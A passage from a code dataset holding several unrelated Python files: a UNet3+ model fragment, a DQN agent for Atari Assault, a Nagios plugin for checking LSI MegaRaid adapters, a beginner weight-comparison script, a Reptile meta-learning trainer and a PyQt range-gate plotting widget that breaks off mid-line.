inputs=inp, n_filters=up_filters, activation=activation)\n Y_list.append(X)\n\n output = layers.Conv2D(filters=n_labels,\n kernel_size=1,\n padding='same',\n activation=output_activation)(X)\n\n model = models.Model(inputs, output)\n return model\n\n #e1 = encoder_block(inputs, n_filters=32, kernel_size=3, strides=1, activation)\n #e2 = encoder_block(e1, n_filters=64, kernel_size=3, strides=2, activation)\n #e3 = encoder_block(e2, n_filters=128, kernel_size=3, strides=2, activation)\n #e4 = encoder_block(e3, n_filters=256, kernel_size=3, strides=2, activation)\n #e5 = encoder_block(e4, n_filters=512, kernel_size=3, strides=2, activation)\n\n #d4 = decoder_block(layers_to_upscale=[e5], inputs=[e4, e3, e2, e1], activation)\n #d3 = decoder_block(layers_to_upscale=[e5, d4], inputs=[e3, e2, e1], activation)\n #d2 = decoder_block(layers_to_upscale=[e5, d4, d3], inputs=[e2, e1], activation)\n #d1 = decoder_block(layers_to_upscale=[e5, d4, d3, d2], inputs=[e1], activation)\n","sub_path":"bin/assets/scripts/unet3Plus/unet_collection/unet3_plus_2d.py","file_name":"unet3_plus_2d.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"176286815","text":"import numpy as np\nfrom collections import deque\nfrom skimage.color import rgb2gray\nimport torch\nimport gym\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport random\nfrom skimage import transform\nimport torch.nn.functional as F\n\n\n# if gpu is to be used\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n#initialise the environment\n\nenv = gym.make('Assault-v0')\n#one_hot encoding of actions\npossible_actions = np.array(np.identity(env.action_space.n, dtype=int)).tolist()\n\n#preprocess the data\ndef data_preprocess(image_frames):\n gray_image = rgb2gray(image_frames)\n normalize_image = gray_image/255.0\n preprocessed_frame = transform.resize(normalize_image, [84,84])\n\n\n return preprocessed_frame\n\n\nstack_size = 4\n\nstacked_frames = deque([np.zeros((84,84), dtype=np.int) for i in range(stack_size)], maxlen=4)\ndef stack_images(stacked_frames, state, new_episode):\n\n frame = data_preprocess(state)\n stack_size = 4\n\n\n\n if new_episode:\n stacked_frames = deque([torch.zeros(state.shape) for i in range(stack_size)], maxlen=4)\n\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n\n stacked_state = np.stack(stacked_frames, axis = 0)\n print(stacked_state.shape)\n else:\n stacked_frames.append(frame)\n stacked_state = np.stack(stacked_frames, axis = 0)\n return stacked_state, stacked_frames\n\n#Hyper-parameters\naction_size = env.action_space.n\ngamma = 0.95\ntotal_episodes = 50\ntotal_steps = 50000\nbatch_size = 64\nexplore_start = 1.0\nexplore_stop = 0.01\ndecay_rate = 0.00001\n\ndiscounted_rate = 0.9\n\nmemory_size = 1000000\n\n\n#build network architecture\nclass DeepQNet(nn.Module):\n \"\"\"docstring forDeepQNet.\"\"\"\n def __init__(self, state_size, action_size = action_size):\n super(DeepQNet, self).__init__()\n self.conv1 = nn.Conv2d(4,32,8,stride = 4)\n self.conv2 = nn.Conv2d(32,64,4,stride = 2)\n self.conv3 = nn.Conv2d(64,64,3,stride = 1)\n self.fc1 = nn.Linear(7*7*64,512)\n self.fc2 = nn.Linear(512, action_size)\n self.dropout = nn.Dropout(0.2)\n def forward(self,x):\n x = (F.relu(self.conv1(x)))\n\n x = (F.relu(self.conv2(x)))\n x = (F.relu(self.conv3(x)))\n\n x = x.view(x.size(0),-1)\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n def act(self,state, epsilon, e):\n if e > epsilon:\n #state, action, reward, next_state, done = batch_sampling(batch_size, done_episode)\n state = Variable(torch.FloatTensor(state), device = device, volatile=True)\n print('exploitation')\n q_value = self.forward(state)\n #action = q_value.max(1)[1].view(1, 1)\n action = q_value.max(1)[1].data[0]\n else:\n action = random.randrange(env.action_space.n)\n print(action)\n return action\n\n\n\ndef compute_loss(batch_size, state, action, reward, next_state, done_episode):\n #state, action, reward, next_state, done = batch_sampling(batch_size, done_episode)\n\n #state, action, reward, next_state, done = replay_buffer.sample(batch_size)\n state = Variable(torch.FloatTensor(state), device = device)\n action = Variable(torch.LongTensor(action), device = device)\n reward = Variable(torch.FloatTensor(reward), device = device)\n next_state = Variable(torch.FloatTensor(next_state), device = device)\n done_episode = Variable(torch.FloatTensor(done_episode), device = device)\n\n action = action.unsqueeze(1)\n q_values = DQN(state).gather(1, action)\n\n\n\n # print(action.shape)\n # action = torch.unsqueeze(action,1)\n # print(action.shape)\n # q_values = q_values.gather(1, action)\n\n next_q_values = DQN(next_state)\n\n expected_q_value = reward + gamma*next_q_values.max(1)[0].detach()\n expected_q_value = expected_q_value.unsqueeze(1)\n\n loss = F.smooth_l1_loss(q_values, expected_q_value)\n if done_episode[0]:\n expected_q_value = reward\n\n return loss\n\nclass BufferReplay(object):\n \"\"\"docstring forBufferReplay.\"\"\"\n def __init__(self, buffersize):\n super(BufferReplay, self).__init__()\n self.buffer = deque(maxlen=memory_size)\n def push(self, state, action, reward, next_state, done):\n #state = np.expand_dims(state, 0)\n #next_state = np.expand_dims(next_state, 0)\n self.buffer.append([state, action, reward, next_state, done])\n def sample(self, batch_size):\n state, action, reward, next_state, done = zip(*random.sample(self.buffer, batch_size))\n\n return state, action, reward, next_state, done\n def __len__(self):\n return len(self.buffer)\n\n\nreplay_buffer = BufferReplay(memory_size)\n#initialise network and optimizers\nstate = env.reset()\nDQN = DeepQNet(state).to(device)\nDQN_optimizer = optim.Adam(DQN.parameters(), lr = 0.0002)\nloss_list = []\n#training loop\nbuffer_loop = 500\n\n\n\nfor i in range(total_episodes):\n step = 0\n decay_step = 0\n episode_rewards = []\n #epsilon = explore_stop + (explore_start - explore_stop) * np.exp(-decay_rate * decay_step)\n state = env.reset()\n state = state.transpose((2, 0, 1))\n state, stacked_frames = stack_images(stacked_frames, state, True)\n #action = DQN.act(state, epsilon)\n #next_state, reward, done, _ = env.step(action)\n #next_state, stacked_frames = stack_images(stacked_frames, next_state.transpose((2, 0, 1)), False)\n #state = next_state\n\n while step < total_steps:\n step = step + 1\n decay_step += 1\n epsilon = explore_stop + (explore_start - explore_stop) * np.exp(-decay_rate * decay_step)\n\n\n\n\n\n\n if len(replay_buffer) > batch_size:\n if len(replay_buffer) == batch_size:\n loss = 0\n e = random.random()\n state_small = state\n state, action_sample, reward_sample, next_state_sample, done_sample = replay_buffer.sample(batch_size)\n action = DQN.act(state, epsilon, e)\n print(action)\n next_state, reward, done, _ = env.step(action)\n print(reward)\n next_state, stacked_frames = stack_images(stacked_frames, next_state.transpose((2, 0, 1)), False)\n\n replay_buffer.push(state_small, action, reward, next_state, done)\n episode_rewards.append(reward)\n DQN_optimizer.zero_grad()\n loss = compute_loss(batch_size, state, action_sample, reward_sample, next_state_sample, done_sample)\n loss.backward()\n DQN_optimizer.step()\n loss_list.append(loss)\n print(f'Episode number is {i}/{total_episodes} | Step number is {step} | Loss is {loss}')\n else:\n e = (random.random())%epsilon#not correct\n action = DQN.act(state, epsilon, e)\n print(action)\n next_state, reward, done, _ = env.step(action)\n next_state, stacked_frames = stack_images(stacked_frames, next_state.transpose((2, 0, 1)), False)\n replay_buffer.push(state, action, reward, next_state, done)\n episode_rewards.append(reward)\n\n state = next_state\n","sub_path":"deep_q_learning.py","file_name":"deep_q_learning.py","file_ext":"py","file_size_in_byte":7206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"517182747","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Frank Brehm\n@contact: frank.brehm@profitbricks.com\n@copyright: © 2010 - 2015 by Frank Brehm, Berlin\n@summary: Module for CheckMegaRaidPlugin class for a nagios/icinga plugin\n to check a LSI MegaRaid adapter and volumes\n\"\"\"\n\n# Standard modules\nimport os\nimport re\nimport logging\n\n# Third party modules\n\n# Own modules\n\nfrom nagios.common import pp\n\nfrom nagios.plugin.argparser import default_timeout\n\nfrom nagios.plugin.extended import ExtNagiosPlugin\n\n# --------------------------------------------\n# Some module variables\n\n__version__ = '0.4.1'\n\nlog = logging.getLogger(__name__)\n\nre_exit_code = re.compile(r'^\\s*Exit\\s*Code\\s*:\\s+0x([0-9a-f]+)', re.IGNORECASE)\nre_no_adapter = re.compile(\n r'^\\s*User\\s+specified\\s+controller\\s+is\\s+not\\s+present', re.IGNORECASE)\n\n\n# =============================================================================\nclass CheckMegaRaidPlugin(ExtNagiosPlugin):\n \"\"\"\n A special NagiosPlugin class for checking the state of a LSI MegaRaid\n adapter and its connected enclosures, physical drives and logical volumes.\n \"\"\"\n\n # -------------------------------------------------------------------------\n def __init__(\n self, usage=None, shortname=None, version=None, blurb=None,):\n \"\"\"\n Constructor of the CheckMegaRaidPlugin class.\n\n @param usage: Short usage message used with --usage/-? and with missing\n required arguments, and included in the longer --help\n output. Can include %(prog)s placeholder which will be\n replaced with the plugin name, e.g.::\n\n usage = 'Usage: %(prog)s -H -p [-v]'\n\n @type usage: str\n @param shortname: the shortname of the plugin\n @type shortname: str\n @param version: Plugin version number, included in the --version/-V\n output, and in the longer --help output. e.g.::\n\n $ ./check_tcp_range --version\n check_tcp_range 0.2 [http://www.openfusion.com.au/labs/nagios/]\n @type version: str\n @param blurb: Short plugin description, included in the longer\n --help output. Maybe omitted.\n @type blurb: str or None\n\n \"\"\"\n\n super(CheckMegaRaidPlugin, self).__init__(\n usage=usage, blurb=blurb, shortname=shortname)\n\n self._adapter_nr = 0\n \"\"\"\n @ivar: the number of the MegaRaid adapter (e.g. 0)\n @type: str\n \"\"\"\n\n self._megacli_cmd = None\n \"\"\"\n @ivar: the path to the executable MegaCli command\n @type: str\n \"\"\"\n\n self._timeout = default_timeout\n \"\"\"\n @ivar: the timeout on execution of MegaCli in seconds\n @type: int\n \"\"\"\n\n self._init_megacli_cmd()\n\n # -----------------------------------------------------------\n @property\n def adapter_nr(self):\n \"\"\"The number of the MegaRaid adapter (e.g. 0).\"\"\"\n return self._adapter_nr\n\n # -----------------------------------------------------------\n @property\n def megacli_cmd(self):\n \"\"\"The path to the executable MegaCli command.\"\"\"\n return self._megacli_cmd\n\n # -----------------------------------------------------------\n @property\n def timeout(self):\n \"\"\"The timeout on execution of MegaCli in seconds.\"\"\"\n return self._timeout\n\n # -------------------------------------------------------------------------\n def as_dict(self):\n \"\"\"\n Typecasting into a dictionary.\n\n @return: structure as dict\n @rtype: dict\n\n \"\"\"\n\n d = super(CheckMegaRaidPlugin, self).as_dict()\n\n d['adapter_nr'] = self.adapter_nr\n d['megacli_cmd'] = self.megacli_cmd\n d['timeout'] = self.timeout\n\n return d\n\n # -------------------------------------------------------------------------\n def _add_args(self):\n \"\"\"\n Adding all necessary arguments to the commandline argument parser.\n \"\"\"\n\n self.add_arg(\n '-a', '--adapter-nr',\n metavar='NR',\n dest='adapter_nr',\n required=True,\n type=int,\n default=0,\n help=(\n \"The number of the MegaRaid adapter to check (Default: %(default)d).\"),\n )\n\n self.add_arg(\n '--megacli',\n metavar='CMD',\n dest='megacli_cmd',\n default=self.megacli_cmd,\n help=(\n \"The path to the executable MegaCli command (Default: %(default)r).\"),\n )\n\n # -------------------------------------------------------------------------\n def _init_megacli_cmd(self):\n \"\"\"\n Initializes self.megacli_cmd.\n \"\"\"\n\n # self._megacli_cmd = self._get_megacli_cmd()\n self._megacli_cmd = '/usr/bin/storcli'\n\n # -------------------------------------------------------------------------\n def _get_megacli_cmd(self, given_path=None):\n \"\"\"\n Finding the executable 'MegaCli64', 'MegaCli' or 'megacli' under the\n search path or the given path.\n\n @param given_path: a possibly given path to MegaCli\n @type given_path: str\n\n @return: the found path to the megacli executable.\n @rtype: str or None\n\n \"\"\"\n\n def is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n exe_names = ('MegaCli64', 'MegaCli', 'megacli')\n if given_path:\n # Normalize the given path, if it exists.\n if os.path.isabs(given_path):\n if not is_exe(given_path):\n return None\n return os.path.realpath(given_path)\n exe_names = (given_path,)\n\n search_paths = os.environ[\"PATH\"].split(os.pathsep)\n sbin_paths = (\n os.sep + 'sbin',\n os.sep + os.path.join('usr', 'sbin'),\n os.sep + os.path.join('usr', 'local', 'sbin'),\n os.sep + os.path.join('opt', 'bin'),\n os.sep + os.path.join('opt', 'sbin'),\n )\n for sbin in sbin_paths:\n if sbin not in search_paths:\n search_paths.append(sbin)\n\n for exe_name in exe_names:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, exe_name)\n if is_exe(exe_file):\n return exe_file\n\n return None\n\n # -------------------------------------------------------------------------\n def parse_args(self, args=None):\n \"\"\"\n Executes self.argparser.parse_args().\n\n If overridden by successors, it should be called via super().\n\n @param args: the argument strings to parse. If not given, they are\n taken from sys.argv.\n @type args: list of str or None\n\n \"\"\"\n\n super(CheckMegaRaidPlugin, self).parse_args(args)\n\n self._adapter_nr = self.argparser.args.adapter_nr\n\n if self.argparser.args.timeout:\n self._timeout = self.argparser.args.timeout\n\n if self.argparser.args.megacli_cmd:\n\n megacli_cmd = self._get_megacli_cmd(self.argparser.args.megacli_cmd)\n if not megacli_cmd:\n self.die(\n \"Could not find MegaCli command %r.\" % (\n self.argparser.args.megacli_cmd))\n self._megacli_cmd = megacli_cmd\n\n # -------------------------------------------------------------------------\n def pre_call(self):\n \"\"\"\n A method, which is called before the underlaying actions are called.\n \"\"\"\n\n self.parse_args()\n self.init_root_logger()\n\n if not self.megacli_cmd:\n self.die(\"Could not find 'MegaCli64' or 'MegaCli' in OS PATH.\")\n\n # -------------------------------------------------------------------------\n def __call__(self):\n\n self.pre_call()\n\n if self.verbose > 2:\n log.debug(\"Current object:\\n%s\", pp(self.as_dict()))\n\n self.call()\n\n # -------------------------------------------------------------------------\n def call(self):\n \"\"\"\n Method to call the plugin directly.\n \"\"\"\n\n self.die(\n \"The method call() must be overridden in inherited class %r.\" % (\n self.__class__.__name__))\n\n # -------------------------------------------------------------------------\n def megacli(self, args, nolog=True, no_adapter=False):\n \"\"\"\n Method to call MegaCli directly with the given arguments.\n\n @param args: the arguments given on calling the binary. If args is of\n type str, then this will used as a single argument in\n calling MegaCli (no shell command line splitting).\n @type args: list of str or str\n @param nolog: don't append -NoLog to the command line parameters\n @type nolog: bool\n @param no_adapter: don't append '-a' to the\n command line parameters\n @type no_adapter: bool\n\n @return: a tuple with four values:\n * the output on STDOUT\n * the output on STDERR\n * the return value to the operating system\n * the exit value extracted from output\n @rtype: tuple\n\n \"\"\"\n\n cmd_list = [self.megacli_cmd]\n if args:\n if isinstance(args, str):\n cmd_list.append(args)\n else:\n for arg in args:\n cmd_list.append(arg)\n\n if not no_adapter:\n cmd_list.append('-a')\n cmd_list.append((\"%d\" % (self.adapter_nr)))\n\n if nolog:\n cmd_list.append('-NoLog')\n\n cmd_list = [str(element) for element in cmd_list]\n\n (ret, stdoutdata, stderrdata) = self.exec_cmd(cmd_list)\n\n exit_code = ret\n if stdoutdata:\n for line in stdoutdata.splitlines():\n\n if not no_adapter:\n if re_no_adapter.search(line):\n self.die(\n 'The specified controller %d is not present.' % (self.adapter_nr))\n\n match = re_exit_code.search(line)\n if match:\n exit_code = int(match.group(1), 16)\n continue\n\n return (stdoutdata, stderrdata, ret, exit_code)\n\n\n# =============================================================================\n\nif __name__ == \"__main__\":\n\n pass\n\n# =============================================================================\n\n# vim: fileencoding=utf-8 filetype=python ts=4 sw=4 et\n","sub_path":"nagios/plugins/check_megaraid.py","file_name":"check_megaraid.py","file_ext":"py","file_size_in_byte":10817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"263316210","text":"nama = (input('masukkan nama anda')) \nnama2 = input('masukkan nama 2') \nsaya = input('masukkan berat badan saya (kg)') \nteman = input('masukkan berat badan teman (kg)') \nsaya = int(saya)\nteman = int(teman)\nberat_1 = saya - teman\nberat_2 = teman - saya\n\nif saya > teman:\n\tkategori = ('{} lebih berat {}kg dari {}' .format( nama, berat_1, nama2))\n\nelif saya < teman:\n\tkategori = ('{} lebih ringan {}kg dari {}' .format( nama, berat_2, nama2))\n\nelse:\n\tkategori = ('berat {} sama dengan teman {}' .format( nama, nama2))\n\nprint ('{}' .format(kategori))","sub_path":"kuli/dasprog-1819/tugas-mhs/Kelas TI/sahril amril haji/sahril.py","file_name":"sahril.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"556521890","text":"import tensorflow as tf\nimport numpy as np\nfrom .basetrainer import *\nclass ReptileTrainer(BaseTrainer):\n def __init__(self, keras_model, inner_step=0.3, outer_step=0.2):\n self.model = keras_model\n self.inner_step_size = inner_step\n self.outer_step_size = outer_step\n \n def _train_batch(self, samples): \n samples = list(zip(*samples))\n x = [np.array(input) for input in samples[:-1]] #Assume up to the last index are the train data and last index is labels\n y = np.array(samples[-1])\n batch_loss = self.model.train_on_batch(x, y)\n post_weights = self.model.get_weights()\n return post_weights, batch_loss\n def _average_vars(self, var_seqs):\n res = []\n for variables in zip(*var_seqs):\n res.append(np.mean(variables, axis=0))\n return res\n def _add_vars(self, seqA, seqB):\n return [v1 + v2 for v1, v2 in zip(seqA, seqB)]\n def _sub_vars(self, seqA, seqB):\n return [v1 - v2 for v1, v2 in zip(seqA, seqB)]\n def _scale_vars(self, seqA, scale):\n return [v * scale for v in seqA]\n def _interpolate_vars(self, seqA, seqB, epsilon):\n return self._add_vars(seqA, self._scale_vars(self._sub_vars(seqB, seqA), epsilon))\n def train(self, trainset, inner_steps, meta_steps, meta_batch_size=10, inner_batch_size=4, num_shots=5, initial_meta_lr=0.2, val_split=0.1, callbacks=[]):\n #For every inner step, sample k_shots elements from dataset and train on that batch\n train, val = _split_trainset(trainset, val_split)\n valX, valY = _convert_set_to_xy(val)\n meta_lr = initial_meta_lr\n best_step_loss = 9999.0\n best_loss_ratio = 0.0\n tensorboard = tf.keras.callbacks.TensorBoard(\n log_dir=tb_dir,\n write_graph=True,\n write_grads=True \n )\n tensorboard.set_model(self.model)\n for meta_step in range(meta_steps):\n print('Meta Step: {}/{}'.format(meta_step+1, meta_steps))\n old_weights = self.model.get_weights()\n #Linear meta step size schedule per OpenAI paper\n meta_lr = initial_meta_lr * (1 - meta_step/meta_steps)\n new_vars = []\n b_losses = []\n #Collect multiple trajectories of the model across different parts of data\n for mb in range(meta_batch_size):\n print('Meta Batch {}/{}'.format(mb+1, meta_batch_size), end='\\r')\n mini_set = random.sample(list(train), num_shots*inner_batch_size)\n #Gradient Descent on a small subset of the data\n for mini_batch in _mini_batches(mini_set, inner_batch_size, inner_steps, False): \n batch_weights, batch_loss = self._train_batch(mini_batch)\n b_losses.append(batch_loss)\n #Add trajectory to variable list and reset model\n new_vars.append(batch_weights)\n self.model.set_weights(old_weights) \n #Interpolate between collected trajectories \n avg_vars = self._average_vars(new_vars)\n interp_vars = self._interpolate_vars(old_weights, avg_vars, meta_lr)\n self.model.set_weights(interp_vars)\n #Metrics for tensorboard\n step_loss = np.mean(b_losses)\n eval_loss = self.model.evaluate(valX, valY)\n \n metrics = {\n 'loss':step_loss,\n 'val_loss':eval_loss,\n 'meta_lr':meta_lr\n }\n for cb in callbacks:\n cb.on_epoch_end(meta_step, metrics)\n print('Post Meta Step: Train Loss: {} | Val Loss: {}'.format(step_loss, eval_loss))\n print('Best Validation Loss: {}'.format(best_step_loss))\n \n\n \ndef _mini_batches(samples, batch_size, num_batches, replacement):\n \"\"\"\n Generate mini-batches from some data.\n Returns:\n An iterable of sequences of (input, label) pairs,\n where each sequence is a mini-batch.\n \"\"\"\n if replacement:\n for _ in range(num_batches):\n yield random.sample(samples, batch_size)\n return\n cur_batch = []\n batch_count = 0\n while True:\n random.shuffle(samples)\n for i in range(len(samples)):\n if len(cur_batch) == batch_size:\n break\n cur_batch.append(samples[i])\n \n yield cur_batch\n batch_count += 1\n curr_batch = []\n if batch_count == num_batches:\n return\n","sub_path":"AITools/build/lib/aitools/trainers/reptile.py","file_name":"reptile.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"296476733","text":"#!/usr/bin/env python3\nimport numpy as np\nimport re\nimport pickle\nimport traceback\nimport sys\nfrom copy import copy,deepcopy\n\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtCore as qtc\nfrom PyQt5 import QtGui as qtg\n\nimport misc\nimport BaseGate\nimport NodeFuncs\n\n\n#print = misc.debug(print)\n\nclass Handle(qtw.QGraphicsLineItem):\n\n\t#@misc.debug\n\tdef __init__(self,parent=None,cap='square'):\n\t\t''' 'parent' is RangeNode'''\n\t\tsuper().__init__(parent)\n\t\tself.node = parent\n\n\t\tself.setLine(0,-6,0,6)\n\n#\t\t# diag only\n#\t\tpen = self.pen()\n#\t\tpen.setColor(qtg.QColor.fromRgba(0x55ff0000))\n#\t\tself.setPen(pen)\n\n\t\tpen = self.pen()\n\t\tpen.setWidth(10)\n\t\tif cap == 'square':\n\t\t\tpass\n\t\telif cap == 'flat':\n\t\t\tpen.setCapStyle(qtc.Qt.FlatCap)\n\t\tpen.setColor(qtg.QColor.fromRgba(0x00ff0000))\n\t\tself.setPen(pen)\n\n\t\tself.setAcceptHoverEvents(True)\n\t\tplot = parent.gate.plot\n\t\tself.installSceneEventFilter(plot)\n\n\tdef contextMenuEvent(self,event):\n\t\t'''Creates and displays context menu for range gate.'''\n\t\tif self.node.gate.plot.active_gate is None:\n\t\t\tself.node.gate.toggle_mode(mode=True)\n\t\t\toptions = self.node.gate.prepare_context_menu(\n\t\t\t\tself.scene().context_options,event)\n#\t\t\tprint('options',options)\n\t\t\tself.scene().launch_context_menu(event,options)\n\n\t\t\t# wtf adding the below line causes repeat calling bug\n\t\t\t#return(super().contextMenuEvent(event))\n\t\tpass\n\n\tdef mouseDoubleClickEvent(self,event):\n\t\treturn(self.node.gate.mouseDoubleClickEvent(event))\n\n\tdef mousePressEvent(self,event):\n\t\treturn(self.node.mousePressEvent(event))\n\n\tdef mouseMoveEvent(self,event):\n\t\treturn(self.node.mouseMoveEvent(event))\n\n\tdef mouseReleaseEvent(self,event):\n\t\treturn(self.node.mouseReleaseEvent(event))\n\n\tdef hoverEnterEvent(self,event):\n\t\treturn(self.node.hoverEnterEvent(event))\n\n\tdef hoverLeaveEvent(self,event):\n\t\treturn(self.node.hoverLeaveEvent(event))\n\n\nclass RangeGate(BaseGate.Gate):\n\n\tdef __init__(self,parent,node1=None,node2=None):\n\t\tsuper().__init__(parent)\n\t\tself.lim1 = None\n\t\tself.lim2 = None\n\t\tself.plot = parent\n\t\tself.gate_type = 'range'\n\t\tself.edge = None\n\t\t#self.setFlag(qtw.QGraphicsItem.ItemIsMovable,True) # in super already\n\t\t#self.setFlag(qtw.QGraphicsItem.ItemSendsGeometryChanges,True)\n#\t\tself.node1 = node1\n#\t\tself.node2 = node2\n\t\tself.update_gate()\n\t\t#print('rangegate init',self.scene())\n\n\tdef move_gate(self,pos1,pos2):\n\t\t'''Replacement for gate.setPos. Takes into account preservation of gate\n\t\twidth during movement and checking for in bounds.'''\n\t\tsuper(self.edge.node1.__class__,self.edge.node1).setPos(pos1)\n\t\tsuper(self.edge.node2.__class__,self.edge.node2).setPos(pos2)\n\t\twidth = abs(pos2.x() - pos1.x())\n#\t\tself.edge.node1.super().setPos(plotpos1)\n#\t\tself.edge.node2.super().setPos(plotpos2)\n\t\tres = [node.is_in_bounds(use_full_y=False) for node in self.gate_nodes]\n\t\ttemp = list(zip(res,self.gate_nodes))\n\t\tplotbb = self.plot.boundingRect()\n\t\tnode1,node2 = sorted(self.gate_nodes,key=lambda s:s.x())\n\n\t\t# list of tuples (result,node)\n\t\tout_bounds = list(filter(lambda n:not all(n[0].values()),temp))\n#\t\tprint('out bounds',out_bounds,len(out_bounds))\n\n\t\t# movement conditions below\n\t\tif len(out_bounds) == 2: # if both nodes are out of bounds\n\t\t\tleft_node_x = node1.x()\n\t\t\tleft_node_y = node1.y()\n\t\t\tright_node_x = node2.x()\n\t\t\tright_node_y = node2.y()\n\t\t\tif any([not a['left'] for a,b in temp]): # if both are too far left\n\t\t\t\tleft_node_x = plotbb.left()\n\t\t\t\tright_node_x = left_node_x + width\n\t\t\tif any([not a['right'] for a,b in temp]): # if both are too far right\n\t\t\t\tright_node_x = plotbb.right()\n\t\t\t\tleft_node_x = right_node_x - width\n\t\t\tif any([not a['top'] for a,b in temp]): # if both are too far up\n\t\t\t\tright_node_y = plotbb.top()\n\t\t\t\tleft_node_y = plotbb.top()\n\t\t\tif any([not a['bottom'] for a,b in temp]): # if both are too far down\n\t\t\t\tright_node_y = plotbb.bottom()\n\t\t\t\tleft_node_y = plotbb.bottom()\n\n\t\t\tp1 = qtc.QPointF(left_node_x,left_node_y)\n\t\t\tp2 = qtc.QPointF(right_node_x,right_node_y)\n\t\t\tnode1.setPos(p1)\n\t\t\tnode2.setPos(p2)\n\n\t\telif len(out_bounds) == 1: # if only one node is out of bounds (L or R)\n\t\t\tbounds,node = out_bounds[0]\n\t\t\tnew_x = node.x()\n\t\t\tnew_y = node.y()\n\t\t\tif not bounds['left']: # if out of left bound\n\t\t\t\tother = list(filter(lambda s:s != node,self.gate_nodes))\n\t\t\t\tassert len(other) == 1\n\t\t\t\tother = other[0]\n\t\t\t\tnew_x = plotbb.left()\n\t\t\t\tother_x = plotbb.left() + width\n\t\t\tif not bounds['right']: # if out of left bound\n\t\t\t\tother = list(filter(lambda s:s != node,self.gate_nodes))\n\t\t\t\tassert len(other) == 1\n\t\t\t\tother = other[0]\n\t\t\t\tnew_x = plotbb.right()\n\t\t\t\tother_x = plotbb.right() - width\n\t\t\tnode.setPos(qtc.QPointF(new_x,new_y))\n\t\t\tother.setPos(qtc.QPointF(other_x,new_y))\n\n#\t\telif len(out_bounds) == 0:\n\t\tfor node in self.gate_nodes:\n\t\t\tnode.update_real_coord() # updates real coords\n\t\t\tnode.update_display_coord_from_pos() # updates display coords\n\t\t\tif self.master is not None:\n\t\t\t\tself.master.change_position(self,update=False)\n\t\t\t\tself.master.set_mask()\n\t\t\tif self.label is not None:\n\t\t\t\tself.label.update_label(self.plot)\n\t\t\tpass\n\t\t#self.edge.update_position()\n#\t\tprint('out nodes',list(out_bounds))\n\n#\t\tfor node in self.gate_nodes:\n#\t\t\tif all(node.is_in_bounds().values()):\n#\t\t\t\tcontinue\n#\t\t\telse:\n#\t\t\t\tprint('some not in bounds')\n\t\t#print('move gate res',res)\n\n\n\tdef create_node(self,coords=None,parent=None,first=True):\n\t\t'''Creates a new RangeNode.'''\n\t\tnew = RangeNode(coords=coords,parent=parent,first=first)\n\t\treturn(new)\n\n\t#@misc.debug\n\tdef start_gate(self,event,plot):\n\t\t'''Begins range gate mode.'''\n#\t\tplot.enter_gate_mode()\n\t\tplotpos = misc.get_plot_pos(plot,event)\n#\t\tif isinstance(self,Gate.PolygonGate):\n#\t\t\tnewnode = GateNode(coords=plotpos,parent=self,first=True)\n#\t\telif isinstance(self,RangeGate.RangeGate):\n\t\tnewnode = RangeNode(coords=plotpos,parent=self,first=True)\n\t\tself.active_node = newnode\n\n\tdef is_in_bounds(self):\n\t\t'''Checks if RangeGate is in bounds of plot bounding box. Returns dict\n\t\tof booleans.'''\n\t\tplot = self.plot\n\t\ttransform,ok = self.itemTransform(plot)\n\n\t\tcoords = [x.pos() for x in self.gate_nodes]\n#\t\tprint('coords',coords)\n\t\tret = dict(zip(['left','right','top','bottom'],[True]*4))\n\t\treturn(ret)\n\n\t#@misc.debug\n\tdef end_drag(self):\n\t\t'''Func for ending gate dragging.'''\n\t\tself.gate_nodes.append(self.active_node)\n\t\tself.active_node = None\n\t\tself.plot.active_gate = None\n\t\t#misc.diag(self)\n#\t\tself.plot.exit_gate_mode()\n\t\tself.setZValue(-5)\n\t\t\n\t\t# must set self.real_coords\n\t\tself.update_real_positions()\n\n\t\t# adds to plot current gates\n\t\tself.plot.gates.append(self)\n\n\t\t# create gate name\n\t\tgate_name = self.create_gate_name()\n\n\t\t# create MasterGate\n\t\tmaster = self.create_master(gate_type='range',gate_name=gate_name)\n\t\tself.master = master\n\t\tself.plot.tree_item.gates.append(master)\n\n\t\t# misc func calls\n\t\tself.make_label()\n\t\t#self.label.setParentItem(self.gate_nodes[0])\n\n\t\t# calls redraw on all plots associated with this TreeItem\n\t\tself.plot.tree_item.redraw_plots()\n\n\tdef begin_drag(self,event):\n\t\t'''Func for beginning gate dragging.'''\n\t\tself.active_node.first = False # demote active_node\n\t\tself.gate_nodes.append(self.active_node)\n\t\tplotpos = self.plot.mapFromScene(event.scenePos())\n\t\tnew = RangeNode(parent=self,coords=plotpos)\n\t\t#horiz = RangeBar(self.active_node,new,self)\n\t\thoriz = self.create_horiz(self.active_node,new,self)\n\t\tself.gate_edges.append(horiz)\n\t\tnew.edge = horiz\n\n\t\t# sets 'other_node' attribute\n\t\tself.active_node.other_node = new\n\t\tnew.other_node = self.active_node\n\n\t\tself.active_node.edge = horiz\n\t\tself.active_node = new\n#\t\tprint('begin drag active_node',self.active_node)\n\n\tdef create_horiz(self,node1,node2,parent):\n\t\t'''Creates and returns horizontal bar across range gate.'''\n\t\tnew = RangeBar(node1,node2,self)\n\t\treturn(new)\n\n\tdef create_nodes(self,positions):\n\t\t'''Reimplementation'''\n\t\tsuper().create_nodes(positions)\n\t\thoriz = self.create_horiz(*self.gate_nodes,self)\n\t\tself.gate_edges.append(horiz)\n\t\tfor n in self.gate_nodes:\n\t\t\t\tn.edge = 